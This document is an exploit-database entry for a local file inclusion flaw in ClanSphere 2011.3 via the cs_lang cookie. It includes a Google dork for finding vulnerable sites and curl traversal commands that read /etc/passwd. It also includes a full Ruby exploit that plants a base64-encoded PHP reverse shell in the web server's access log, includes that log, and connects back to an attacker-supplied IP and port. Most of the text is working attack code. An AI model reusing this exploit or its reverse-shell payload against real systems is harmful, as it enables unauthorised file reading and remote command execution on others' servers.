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ClanSphere 2011.3 (cs_lang cookie parameter) Local File Inclusion



EDB-ID: 22181 CVE: N/A OSVDB-ID: 86720
Author: blkhtc0rp Published: 2012-10-23 Verified: Verified
Exploit Code:   Download Vulnerable App:    Download

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Exploit Title: ClanSphere 2011.3 (cs_lang cookie parameter) Local File Include Vulnerability
Google Dork: "Copyright 2012 Seitentitel. All rights reserved." || inurl:index.php?mod=clansphere
Date: 10/22/2012
Author: Marco Tulio ~> blkhtc0rp
Vendor Homepage: http://www.csphere.eu
Version: 2011.3
Tested on: Centos 5.7, Ubuntu 8.04 and FreeBSD 8


Poc:
curl "http://server/" -b "blah=blah; cs_lang=../../../../../../../../../../../../../../../../etc/passwd%00.png"
curl "http://server/" -b "blah=blah; cs_lang=../../../../../../../../../../../../../../../../etc/passwd"
curl "http://server/" -b "blah=blah; cs_lang=../../../../../../../../../../../../../../../../etc/passwd%00"


Exploit:

#!/usr/bin/ruby

#
# ClanSphere 2011.3 (cs_lang) LFI exploit by blkhtc0rp
#
#
# ./clanSphere.rb "http://server/apps/clansphere_2011.3/" "/var/log/httpd/access_log" 192.168.1.221 12345
# [x] ClanSphere 2011.3 LFI Exploit
# [x] Author: blkhtc0rp
# [x] Reverse shell on 192.168.1.221:12345
#
#
# nc -lp 12345
# pwd
# /var/www/html/apps/clansphere_2011.3
# id
# uid=48(apache) gid=48(apache) groups=48(apache)
#
require 'net/http'
require 'base64'

host = ARGV[0]
log = ARGV[1]
ip = ARGV[2]
rev_port = ARGV[3]

abort("Usage: #{$0} <url> <log> <your_ip> <port>") unless ARGV.size == 4

uri = URI.parse(host)

cookie = "blah=blah; cs_lang=../../../../../../../../../../../../../../../.." + log + "%00.png"
headers = { 'Cookie' => cookie, 
            'User-Agent' => 'Mozilla/4.0 (PSP (PlayStation Portable); 5.03)' 
          }

# Tiny shell from the net lol.
shell = "\$ip = \'#{ip}\';\$port = #{rev_port}; if (!(\$sock=fsockopen(\$ip,\$port))) die; while(!feof(\$sock)){ \$command = fgets(\$sock);\$pipe = popen(\$command,'r'); while (!feof(\$pipe)) fwrite (\$sock, fgets(\$pipe)); pclose(\$pipe);}fclose(\$sock);"

enc = Base64.encode64(shell).gsub("\n",'')
sh_encoded = "<?php eval(base64_decode(#{enc}));?>"


puts "[x] ClanSphere 2011.3 LFI Exploit"
puts "[x] Author: blkhtc0rp"
puts "[x] Reverse shell on #{ip}:#{rev_port}"

# Inject base64 shell
req = Net::HTTP::Get.new(sh_encoded)
status = Net::HTTP.new(uri.host, uri.port).start do |http|
   http.request(req)
end

# Exec shell
req2 = Net::HTTP::Get.new(uri.path, headers)
status = Net::HTTP.new(uri.host, uri.port).start do |http|
   http.request(req2)
end